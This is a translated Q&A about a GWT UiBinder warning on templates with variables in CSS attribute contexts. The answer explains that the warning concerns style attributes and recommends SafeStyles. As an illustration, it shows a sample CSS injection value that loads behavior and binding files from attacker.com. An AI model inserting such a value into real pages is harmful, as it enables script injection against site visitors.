GWT“CSS属性上下文中带变量的模板”警告不好?

时间:2011-11-16 07:12:34

标签: css gwt uibinder

我使用混淆的样式,例如

    <ui:style>
        .explanation {
            text-align: center;
        }
    </ui:style>
...
    <g:HTMLPanel>
        <div class="{style.explanation}">
...

这是不好的做法吗?

当我查看HTML时看起来没问题,或者我误解了警告..

我在GWT的开发模式中收到以下警告:

Template with variable in CSS attribute context: 
The template code generator cannot guarantee HTML-safety of the template
 -- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context

1 个答案:

答案 0 :(得分:10)

class不是“CSS属性上下文”,只有style是(和<style>);所以我怀疑这个警告来自你展示的代码(这正是如何使用的东西,所以根本不是一个糟糕的做法)。

当您有style='width: {foo}; height: {bar}'之类的内容时会出现警告,因为无法保证(在编译时)foobar不会包含100%; behavior: url(http://attacker.com/injection.htc); -moz-binding: url(http://attacker.com/injection.xbl)之类的内容。在这种情况下,您应该使用style='{myStyle}',其中myStyleSafeStyles的实例。